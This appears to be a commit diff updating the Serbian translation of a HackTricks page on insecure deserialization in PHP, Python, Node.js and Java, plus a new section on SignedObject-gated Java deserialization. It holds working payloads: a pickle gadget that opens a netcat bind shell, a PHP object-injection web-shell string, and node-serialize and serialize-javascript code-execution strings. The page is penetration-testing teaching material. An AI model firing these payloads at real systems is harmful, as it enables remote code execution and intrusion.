Translated ['src/pentesting-web/deserialization/README.md', 'src/pentest

src/SUMMARY.md

@@ -622,6 +622,7 @@
   - [Java JSF ViewState (.faces) Deserialization](pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization.md)
   - [Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner](pentesting-web/deserialization/java-dns-deserialization-and-gadgetprobe.md)
   - [Basic Java Deserialization (ObjectInputStream, readObject)](pentesting-web/deserialization/basic-java-deserialization-objectinputstream-readobject.md)
+  - [Java Signedobject Gated Deserialization](pentesting-web/deserialization/java-signedobject-gated-deserialization.md)
   - [PHP - Deserialization + Autoload Classes](pentesting-web/deserialization/php-deserialization-+-autoload-classes.md)
   - [CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep](pentesting-web/deserialization/java-transformers-to-rutime-exec-payload.md)
   - [Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)](pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)

src/pentesting-web/deserialization/README.md

@@ -2,23 +2,23 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Osnovne informacije
 
-**Serijalizacija** se razume kao metoda konvertovanja objekta u format koji može biti sačuvan, sa namerom da se objekat ili sačuva ili prenese kao deo komunikacionog procesa. Ova tehnika se obično koristi da se osigura da objekat može biti ponovo kreiran u budućnosti, održavajući svoju strukturu i stanje.
+**Serialization** se smatra metodom konvertovanja objekta u format koji se može sačuvati, sa namerom da se objekat ili skladišti ili prenese kao deo komunikacionog procesa. Ova tehnika se često koristi kako bi se obezbedilo da objekat može biti ponovo rekonstruisan kasnije, zadržavajući njegovu strukturu i stanje.
 
-**Deserijalizacija**, s druge strane, je proces koji deluje protiv serijalizacije. Uključuje uzimanje podataka koji su strukturirani u određenom formatu i rekonstrukciju nazad u objekat.
+**Deserialization**, suprotno, je proces koji poništava **Serialization**. Obuhvata uzimanje podataka koji su strukturirani u određenom formatu i njihovu rekonstrukciju nazad u objekat.
 
-Deserijalizacija može biti opasna jer potencijalno **omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod** ili izazvali neočekivano ponašanje u aplikaciji tokom procesa rekonstrukcije objekta.
+**Deserialization** može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili prouzrokovali neočekivano ponašanje aplikacije tokom procesa rekonstrukcije objekta.
 
 ## PHP
 
-U PHP-u, specifične magične metode se koriste tokom procesa serijalizacije i deserijalizacije:
+U PHP-u se tokom procesa serializacije i deserializacije koriste specifične magic methods:
 
-- `__sleep`: Poziva se kada se objekat serijalizuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba serijalizovati. Obično se koristi za obavezujuće podatke ili obavljanje sličnih zadataka čišćenja.
-- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovno uspostavljanje bilo kakvih veza sa bazom podataka koje su možda izgubljene tokom serijalizacije i obavljanje drugih zadataka ponovnog inicijalizovanja.
-- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Daje više kontrole nad procesom deserijalizacije u poređenju sa `__wakeup`.
-- `__destruct`: Ova metoda se poziva kada se objekat sprema da bude uništen ili kada skripta završi. Obično se koristi za zadatke čišćenja, kao što su zatvaranje rukovaoca datoteka ili veza sa bazom podataka.
-- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje datoteke ili druge zadatke zasnovane na pozivima funkcija unutar njega, efikasno pružajući tekstualnu reprezentaciju objekta.
+- `__sleep`: Poziva se kada se objekat serializuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba da budu serializovana. Obično se koristi za upis čekajućih podataka ili izvođenje sličnih poslova čišćenja.
+- `__wakeup`: Poziva se kada se objekat deserijalizuje. Koristi se za ponovnu uspostavu eventualno izgubljenih konekcija ka bazi podataka tokom serializacije i za druge zadatke re-inicijalizacije.
+- `__unserialize`: Ova metoda se poziva umesto `__wakeup` (ako postoji) kada se objekat deserijalizuje. Omogućava veću kontrolu nad procesom deserializacije u poređenju sa `__wakeup`.
+- `__destruct`: Ova metoda se poziva kada je objekat pred uništenjem ili kada se skript završava. Tipično se koristi za zadatke čišćenja, kao što su zatvaranje fajl deskriptora ili konekcija ka bazi podataka.
+- `__toString`: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke zasnovane na pozivima funkcija unutar nje, efektivno obezbeđujući tekstualnu reprezentaciju objekta.
 ```php
 <?php
 class test {
@@ -74,10 +74,10 @@ This is a test<br />
 */
 ?>
 ```
-Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju kada se objekat deserializuje. Imajte na umu da u nekoliko tutorijala možete pronaći da se funkcija **`__toString`** poziva kada pokušavate da odštampate neku atribut, ali očigledno to **više ne dešava**.
+Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__destruct`** pozivaju kada se objekat deserializuje. Primetite da ćete u nekoliko tutorijala naći da se funkcija **`__toString`** poziva kada se pokušava ispisati neki atribut, ali izgleda da se to **više ne dešava**.
 
 > [!WARNING]
-> Metoda **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementirana u klasi. Omogućava vam da deserializujete objekat pružajući serijalizovane podatke kao niz. Možete koristiti ovu metodu za deserializaciju svojstava i obavljanje svih potrebnih zadataka prilikom deserializacije.
+> Metod **`__unserialize(array $data)`** se poziva **umesto `__wakeup()`** ako je implementiran u klasi. Omogućava vam da deserializujete objekat tako što ćete proslediti serijalizovane podatke kao niz. Možete koristiti ovaj metod da deserializujete svojstva i izvršite sve potrebne radnje prilikom deserializacije.
 >
 > ```php
 > class MyClass {
@@ -85,23 +85,23 @@ Ako pogledate rezultate, možete videti da se funkcije **`__wakeup`** i **`__des
 >
 >    public function __unserialize(array $data): void {
 >        $this->property = $data['property'];
->        // Obavite sve potrebne zadatke prilikom deserializacije.
+>        // Perform any necessary tasks upon deserialization.
 >    }
 > }
 > ```
 
-Možete pročitati objašnjeni **PHP primer ovde**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+Možete pročitati objašnjen PHP primer ovde: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), ovde [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ili ovde [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
 
-### PHP Deserial + Autoload Klase
+### PHP Deserial + Autoload Classes
 
-Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php datoteke i još više:
+Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i još mnogo toga:
 
 
 {{#ref}}
 php-deserialization-+-autoload-classes.md
 {{#endref}}
 
-### Serijalizacija Referenciranih Vrednosti
+### Serializing Referenced Values
 
 Ako iz nekog razloga želite da serijalizujete vrednost kao **referencu na drugu serijalizovanu vrednost**, možete:
 ```php
@@ -116,12 +116,12 @@ $o->param1 =& $o->param22;
 $o->param = "PARAM";
 $ser=serialize($o);
 ```
-### Sprečavanje PHP objekat injekcije sa `allowed_classes`
+### Sprečavanje PHP Object Injection pomoću `allowed_classes`
 
 > [!INFO]
-> Podrška za **drugi argument** `unserialize()` (niz `$options`) je dodata u **PHP 7.0**. U starijim verzijama funkcija prihvata samo serijalizovanu string, što onemogućava ograničavanje koje klase mogu biti instancirane.
+> Podrška za **drugi argument** funkcije `unserialize()` (niz `$options`) uvedena je u **PHP 7.0**. Na starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.
 
-`unserialize()` će **instancirati svaku klasu** koju pronađe unutar serijalizovanog toka osim ako nije drugačije rečeno. Od PHP 7, ponašanje se može ograničiti sa [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) opcijom:
+`unserialize()` će **instancirati svaku klasu** koju pronađe u serijalizovanom streamu, osim ako nije drugačije naznačeno. Od PHP 7 ponašanje se može ograničiti opcijom [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php):
 ```php
 // NEVER DO THIS – full object instantiation
 $object = unserialize($userControlledData);
@@ -136,11 +136,11 @@ $object = unserialize($userControlledData, [
 'allowed_classes' => [MyModel::class, DateTime::class]
 ]);
 ```
-Ako je **`allowed_classes` izostavljen _ili_ se kod izvršava na PHP < 7.0**, poziv postaje **opasan** jer napadač može kreirati payload koji zloupotrebljava magične metode kao što su `__wakeup()` ili `__destruct()` da bi postigao Remote Code Execution (RCE).
+Ako je **`allowed_classes` izostavljen _ili_ kod radi na PHP < 7.0**, poziv postaje **opasan** jer napadač može da konstruše payload koji zloupotrebljava magične metode kao što su `__wakeup()` ili `__destruct()` kako bi ostvario Remote Code Execution (RCE).
 
 #### Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709
 
-WordPress dodatak **Everest Forms ≤ 3.2.2** pokušao je da bude odbramben sa pomoćnim omotačem, ali je zaboravio na legacijske verzije PHP-a:
+WordPress dodatak **Everest Forms ≤ 3.2.2** je pokušao da bude defanzivan koristeći pomoćni wrapper, ali je zaboravio na zastarele PHP verzije:
 ```php
 function evf_maybe_unserialize($data, $options = array()) {
 if (is_serialized($data)) {
@@ -155,28 +155,28 @@ return @unserialize(trim($data));
 return $data;
 }
 ```
-Na serverima koji su još uvek koristili **PHP ≤ 7.0**, ova druga grana dovela je do klasične **PHP Object Injection** kada je administrator otvorio zlonamerni obrazac. Minimalni exploit payload mogao bi izgledati ovako:
+Na serverima koji su i dalje koristili **PHP ≤ 7.0**, ova druga grana dovodila je do klasičnog **PHP Object Injection** kada bi administrator otvorio zlonamerni form submission. Minimalni exploit payload mogao bi izgledati ovako:
 ```
 O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
 ```
-Čim je administrator pregledao unos, objekat je instanciran i `SomeClass::__destruct()` je izvršen, što je rezultiralo izvršavanjem proizvoljnog koda.
+Čim je admin pogledao unos, objekat je instanciran i `SomeClass::__destruct()` je izvršen, što je rezultiralo izvršavanjem proizvoljnog koda.
 
 **Zaključci**
-1. Uvek prosledite `['allowed_classes' => false]` (ili strogu belu listu) prilikom pozivanja `unserialize()`.
-2. Proverite odbrambene omotače – često zaboravljaju na nasleđene PHP grane.
-3. Samo nadogradnja na **PHP ≥ 7.x** nije *dovoljna*: opcija još uvek mora biti eksplicitno navedena.
+1. Uvek prosleđujte `['allowed_classes' => false]` (ili strogu white-list) kada pozivate `unserialize()`.
+2. Auditirajte defensive wrappers – često zaboravljaju nasleđene PHP grane.
+3. Nadogradnja na **PHP ≥ 7.x** sama po sebi *nije* dovoljna: opcija i dalje mora biti eksplicitno navedena.
 
 ---
 
-### PHPGGC (ysoserial za PHP)
+### PHPGGC (ysoserial for PHP)
 
-[**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći da generišete payload-ove za zloupotrebu PHP deseralizacija.\
-Imajte na umu da u nekoliko slučajeva **nećete moći da pronađete način da zloupotrebite deseralizaciju u izvor kodu** aplikacije, ali možda ćete moći da **zloupotrebite kod eksternih PHP ekstenzija.**\
-Dakle, ako možete, proverite `phpinfo()` servera i **pretražujte internet** (čak i na **gadgets** od **PHPGGC**) za neke moguće gadgete koje biste mogli zloupotrebiti.
+[**PHPGGC**](https://github.com/ambionics/phpggc) može vam pomoći pri generisanju payloads-a za zloupotrebu PHP deserializations.\
+Imajte na umu da u nekoliko slučajeva nećete moći pronaći način da zloupotrebite deserialization u izvornom kodu aplikacije, ali možete zloupotrebiti kod eksternih PHP extensions.\
+Dakle, ako možete, proverite `phpinfo()` servera i **pretražite internet** (pa čak i **gadgets** od **PHPGGC**) za moguće gadgete koje biste mogli zloupotrebiti.
 
-### phar:// metadata deseralizacija
+### phar:// metadata deserialization
 
-Ako ste pronašli LFI koji samo čita datoteku i ne izvršava php kod unutar nje, na primer koristeći funkcije kao što su _**file_get_contents(), fopen(), file() ili file_exists(), md5_file(), filemtime() ili filesize()**_**.** Možete pokušati da zloupotrebite **deseralizaciju** koja se dešava prilikom **čitavanja** **datoteke** koristeći **phar** protokol.\
+Ako ste pronašli LFI koji samo čita fajl i ne izvršava php kod u njegovom unutrašnjosti, na primer koristeći funkcije kao što su _**file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize()**_**.** Možete pokušati zloupotrebiti **deserialization** koji se dešava pri **čitanju** **fajla** koristeći **phar** protokol.\
 Za više informacija pročitajte sledeći post:
 
 
@@ -188,8 +188,8 @@ Za više informacija pročitajte sledeći post:
 
 ### **Pickle**
 
-Kada se objekat unpickle, funkcija \_\_\_reduce\_\_\_ će biti izvršena.\
-Kada se iskoristi, server može vratiti grešku.
+Kada se objekat unpickle-uje, funkcija \_\_\_reduce\_\_\_ će biti izvršena.\
+Ako se iskoristi, server može vratiti grešku.
 ```python
 import pickle, os, base64
 class P(object):
@@ -197,9 +197,10 @@ def __reduce__(self):
 return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
 print(base64.b64encode(pickle.dumps(P())))
 ```
-Pre nego što proverite tehniku za zaobilaženje, pokušajte da koristite `print(base64.b64encode(pickle.dumps(P(),2)))` da generišete objekat koji je kompatibilan sa python2 ako koristite python3.
+Pre nego što proverite bypass tehniku, pokušajte da koristite `print(base64.b64encode(pickle.dumps(P(),2)))` da generišete objekat koji je kompatibilan sa python2 ako koristite python3.
+
+Za više informacija o bekstvu iz **pickle jails** pogledajte:
 
-Za više informacija o izlasku iz **pickle jails** proverite:
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@@ -207,7 +208,8 @@ Za više informacija o izlasku iz **pickle jails** proverite:
 
 ### Yaml **&** jsonpickle
 
-Sledeća stranica predstavlja tehniku za **zloupotrebu nesigurne deserializacije u yaml** python bibliotekama i završava alatom koji se može koristiti za generisanje RCE deserializacijskih payload-a za **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
+Sledeća stranica prikazuje tehniku za **abuse an unsafe deserialization in yamls** Python biblioteka i završava sa alatom koji može da generiše RCE deserialization payload za **Pickle, PyYAML, jsonpickle i ruamel.yaml**:
+
 
 {{#ref}}
 python-yaml-deserialization.md
@@ -215,6 +217,7 @@ python-yaml-deserialization.md
 
 ### Class Pollution (Python Prototype Pollution)
 
+
 {{#ref}}
 ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
 {{#endref}}
@@ -223,10 +226,10 @@ python-yaml-deserialization.md
 
 ### JS Magic Functions
 
-JS **nema "magične" funkcije** kao PHP ili Python koje će se izvršiti samo za kreiranje objekta. Ali ima neke **funkcije** koje se **često koriste čak i bez direktnog pozivanja** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
-Ako zloupotrebljavate deserializaciju, možete **kompromitovati te funkcije da izvrše drugi kod** (potencijalno zloupotrebljavajući prototipske zagađenja) i mogli biste izvršiti proizvoljan kod kada se pozovu.
+JS **nema "magic" functions** kao PHP ili Python koje će se izvršiti samo prilikom kreiranja objekta. Međutim, ima neke **funkcije** koje se **često koriste čak i bez direktnog poziva** kao što su **`toString`**, **`valueOf`**, **`toJSON`**.\
+Ako pri iskorišćavanju deserializationa možete **kompromitovati ove funkcije da izvrše drugi kod** (potencijalno iskorišćavajući prototype pollutions), mogli biste izvršiti arbitraran kod kada se pozovu.
 
-Još jedan **"magičan" način da pozovete funkciju** bez direktnog pozivanja je **kompromitovanjem objekta koji se vraća iz async funkcije** (promise). Jer, ako **transformišete** taj **vraćeni objekat** u drugu **promise** sa **svojstvom** pod nazivom **"then" tipa funkcije**, biće **izvršeno** samo zato što je vraćeno iz druge promise. _Pratite_ [_**ovaj link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
+Drugi **"magic" način da se pozove funkcija** bez direktnog poziva je kompromitovanjem objekta koji je vraćen iz async funkcije (promise). Jer, ako **transformišete** taj **return object** u drugi **promise** sa **property** koji se zove **"then" of type function**, on će biti **executed** samo zato što je vraćen iz drugog promise-a. _Pratite_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _za više informacija._
 ```javascript
 // If you can compromise p (returned object) to be a promise
 // it will be executed just because it's the return object of an async function:
@@ -250,9 +253,9 @@ test_ressolve()
 test_then()
 //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
 ```
-### `__proto__` i `prototype` zagađenje
+### `__proto__` and `prototype` pollution
 
-Ako želite da saznate više o ovoj tehnici **pogledajte sledeći tutorijal**:
+Ako želite da saznate više o ovoj tehnici, **pogledajte sledeći tutorijal**:
 
 
 {{#ref}}
@@ -278,19 +281,19 @@ console.log("Serialized: \n" + payload_serialized)
 ```bash
 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 ```
-Možete videti u primeru da kada je funkcija serijalizovana, `_$$ND_FUNC$$_` oznaka se dodaje serijalizovanom objektu.
+You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object.
 
-Unutar datoteke `node-serialize/lib/serialize.js` možete pronaći istu oznaku i kako se kod koristi.
+Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it.
 
 ![](<../../images/image (351).png>)
 
 ![](<../../images/image (446).png>)
 
-Kao što možete videti u poslednjem delu koda, **ako je oznaka pronađena** `eval` se koristi za deserializaciju funkcije, tako da se u suštini **korisnički unos koristi unutar `eval` funkcije**.
+Kao što možete videti u poslednjem delu koda, **ako je flag pronađen** koristi se `eval` za deserijalizaciju funkcije, tako da praktično **unos korisnika se koristi unutar `eval` funkcije**.
 
-Međutim, **samo serijalizovanje** funkcije **neće je izvršiti** jer bi bilo potrebno da neki deo koda **poziva `y.rce`** u našem primeru i to je veoma **neprikladno**.\
-U svakom slučaju, mogli biste samo **modifikovati serijalizovani objekat** **dodajući neke zagrade** kako biste automatski izvršili serijalizovanu funkciju kada se objekat deserializuje.\
-U sledećem delu koda **obratite pažnju na poslednju zagradu** i kako će `unserialize` funkcija automatski izvršiti kod:
+Međutim, **samo serijalizovanje** funkcije **je neće izvršiti**, jer bi bilo neophodno da neki deo koda poziva `y.rce` u našem primeru, što je veoma **neverovatno**.\
+U svakom slučaju, možete jednostavno **izmeniti serijalizovani objekat** **dodavanjem zagrada** tako da se serijalizovana funkcija automatski izvrši kada se objekat deserijalizuje.\
+U sledećem delu koda **obratite pažnju na poslednju zagradu** i kako funkcija `unserialize` automatski izvršava kod:
 ```javascript
 var serialize = require("node-serialize")
 var test = {
@@ -298,20 +301,20 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
 }
 serialize.unserialize(test)
 ```
-Kao što je prethodno naznačeno, ova biblioteka će dobiti kod nakon `_$$ND_FUNC$$_` i **izvršiće ga** koristeći `eval`. Stoga, da biste **automatski izvršili kod**, možete **izbrisati deo za kreiranje funkcije** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
+Kao što je ranije navedeno, ova biblioteka preuzima kod koji se nalazi nakon `_$$ND_FUNC$$_` i **izvršava** ga koristeći `eval`. Dakle, da biste **automatski izvršili kod**, možete **ukloniti deo koji kreira funkciju** i poslednju zagradu i **samo izvršiti JS oneliner** kao u sledećem primeru:
 ```javascript
 var serialize = require("node-serialize")
 var test =
 "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
 serialize.unserialize(test)
 ```
-Možete [**pronaći ovde**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **dodatne informacije** o tome kako iskoristiti ovu ranjivost.
+Možete [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** o tome kako iskoristiti ovu ranjivost.
 
 ### [funcster](https://www.npmjs.com/package/funcster)
 
-Značajan aspekt **funcster** je nedostupnost **standardnih ugrađenih objekata**; oni su van dostupnog opsega. Ova ograničenja sprečavaju izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što su `"ReferenceError: console is not defined"` kada se koriste komande poput `console.log()` ili `require(something)`.
+Značajan aspekt **funcster** je nedostupnost **standardnih ugrađenih objekata**; oni su izvan dostupnog opsega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što je "ReferenceError: console is not defined" kada se koriste komande poput `console.log()` ili `require(something)`.
 
-Uprkos ovom ograničenju, obnova potpunog pristupa globalnom kontekstu, uključujući sve standardne ugrađene objekte, moguća je kroz specifičan pristup. Korišćenjem globalnog konteksta direktno, može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći isječak:
+Uprkos ovom ograničenju, moguće je vratiti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, pomoću specifičnog pristupa. Direktnim iskorišćavanjem globalnog konteksta može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći snippet:
 ```javascript
 funcster = require("funcster")
 //Serialization
@@ -337,13 +340,13 @@ funcster.deepDeserialize(desertest3)
 
 ### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
 
-Paket **serialize-javascript** je dizajniran isključivo za svrhe serijalizacije, bez ugrađenih mogućnosti deserializacije. Korisnici su odgovorni za implementaciju svoje metode za deserializaciju. Direktna upotreba `eval` se sugeriše u zvaničnom primeru za deserializaciju serijalizovanih podataka:
+Paket **serialize-javascript** je dizajniran isključivo za serialization, i nema ugrađene deserialization mogućnosti. Korisnici su odgovorni za implementaciju sopstvene metode za deserialization. Zvanični primer za deserializaciju serialized data predlaže direktnu upotrebu `eval`:
 ```javascript
 function deserialize(serializedJavascript) {
 return eval("(" + serializedJavascript + ")")
 }
 ```
-Ako se ova funkcija koristi za deserializaciju objekata, možete je **lako iskoristiti**:
+Ako se ova funkcija koristi za deserialize objekata, možete je **lako iskoristiti**:
 ```javascript
 var serialize = require("serialize-javascript")
 //Serialization
@@ -357,53 +360,63 @@ var test =
 "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
 deserialize(test)
 ```
-**Za**[ **više informacija pročitajte ovaj izvor**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
+**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
 
 ### Cryo biblioteka
 
-Na sledećim stranicama možete pronaći informacije o tome kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:
+Na sledećim stranicama možete naći informacije kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:
 
 - [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
 - [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
 
 ## Java - HTTP
 
-U Javi, **deserializacijski povratni pozivi se izvršavaju tokom procesa deserializacije**. Ova izvršenja mogu biti iskorišćena od strane napadača koji kreiraju zlonamerne payload-e koji aktiviraju ove povratne pozive, što može dovesti do potencijalnog izvršenja štetnih radnji.
+U Javi, **deserialization callbacks se izvršavaju tokom procesa deserialization**. Napadači koji kreiraju maliciozne payload-e koji okidaju ove callbacks mogu iskoristiti ovo izvršavanje za pokretanje štetnih radnji.
 
 ### Otisci
 
-#### Bela kutija
+#### White Box
 
-Da biste identifikovali potencijalne ranjivosti u serijalizaciji u kodu, potražite:
+Da biste identifikovali potencijalne serialization ranjivosti u kodu, pretražite:
 
-- Klase koje implementiraju `Serializable` interfejs.
-- Korišćenje `java.io.ObjectInputStream`, `readObject`, `readUnshare` funkcija.
+- Classes that implement the `Serializable` interface.
+- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions.
 
 Obratite posebnu pažnju na:
 
-- `XMLDecoder` korišćen sa parametrima koje definišu spoljnji korisnici.
-- `XStream`'s `fromXML` metoda, posebno ako je verzija XStream manja ili jednaka 1.46, jer je podložna problemima sa serijalizacijom.
-- `ObjectInputStream` u kombinaciji sa `readObject` metodom.
-- Implementaciju metoda kao što su `readObject`, `readObjectNodData`, `readResolve`, ili `readExternal`.
+- `XMLDecoder` utilized with parameters defined by external users.
+- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
+- `ObjectInputStream` coupled with the `readObject` method.
+- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`.
 - `ObjectInputStream.readUnshared`.
-- Opštu upotrebu `Serializable`.
+- General use of `Serializable`.
 
-#### Crna kutija
+#### Black Box
 
-Za testiranje crne kutije, potražite specifične **potpise ili "Magic Bytes"** koji označavaju java serijalizovane objekte (koji potiču iz `ObjectInputStream`):
+Za black box testiranje, obratite pažnju na specifične **signatures ili "Magic Bytes"** koji ukazuju na java serialized objekte (potekle iz `ObjectInputStream`):
 
-- Hexadecimalni obrazac: `AC ED 00 05`.
-- Base64 obrazac: `rO0`.
-- HTTP odgovarajući zaglavlja sa `Content-type` postavljenim na `application/x-java-serialized-object`.
-- Hexadecimalni obrazac koji označava prethodnu kompresiju: `1F 8B 08 00`.
-- Base64 obrazac koji označava prethodnu kompresiju: `H4sIA`.
-- Web datoteke sa ekstenzijom `.faces` i parametrom `faces.ViewState`. Otkriće ovih obrazaca u web aplikaciji treba da podstakne ispitivanje kao što je detaljno opisano u [postu o Java JSF ViewState Deserializaciji](java-jsf-viewstate-.faces-deserialization.md).
+- Hexadecimal pattern: `AC ED 00 05`.
+- Base64 pattern: `rO0`.
+- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`.
+- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`.
+- Base64 pattern indicating prior compression: `H4sIA`.
+- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md).
 ```
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
-### Proverite da li je ranjiv
+### Check if vulnerable
 
-Ako želite da **naučite kako funkcioniše Java Deserialized exploit** trebali biste pogledati [**Osnovna Java Deserializacija**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserializacija**](java-dns-deserialization-and-gadgetprobe.md), i [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
+Ako želite da **learn about how does a Java Deserialized exploit work** trebalo bi da pogledate [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), i [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
+
+#### SignedObject-gated deserialization and pre-auth reachability
+
+U modernim codebase-ovima se ponekad deserialization umotava u `java.security.SignedObject` i verifikuje se signature pre poziva `getObject()` (koji deserializuje unutrašnji objekat). Ovo sprečava proizvoljne top-level gadget classes, ali i dalje može biti exploitable ako napadač može da pribavi validan signature (npr. kompromitovanje private-key ili signing oracle). Dodatno, tokovi za rukovanje greškama mogu kreirati session-bound tokens za neautentifikovane korisnike, izlažući inače zaštićene sinks pre-auth.
+
+For a concrete case study with requests, IoCs, and hardening guidance, see:
+
+{{#ref}}
+java-signedobject-gated-deserialization.md
+{{#endref}}
 
 #### White Box Test
 
@@ -412,35 +425,35 @@ Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.
 find . -iname "*commons*collection*"
 grep -R InvokeTransformer .
 ```
-Možete pokušati da **proverite sve biblioteke** za koje se zna da su ranjive i za koje [**Ysoserial**](https://github.com/frohoff/ysoserial) može da pruži eksploataciju. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
-Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da tražite moguće lance gadgeta koji se mogu iskoristiti.\
-Kada pokrećete **gadgetinspector** (nakon što ga izgradite), ne obraćajte pažnju na mnoštvo upozorenja/grešaka kroz koje prolazi i pustite ga da završi. Zapišaće sve nalaze pod _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Molimo vas, imajte na umu da **gadgetinspector neće kreirati eksploataciju i može ukazivati na lažne pozitivne rezultate**.
+Možete pokušati da **proverite sve biblioteke** koje su poznate kao ranjive i za koje [**Ysoserial** ](https://github.com/frohoff/ysoserial) može da obezbedi exploit. Ili možete proveriti biblioteke navedene na [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
+Takođe možete koristiti [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) da pretražite moguće gadget chains koji se mogu iskoristiti.\
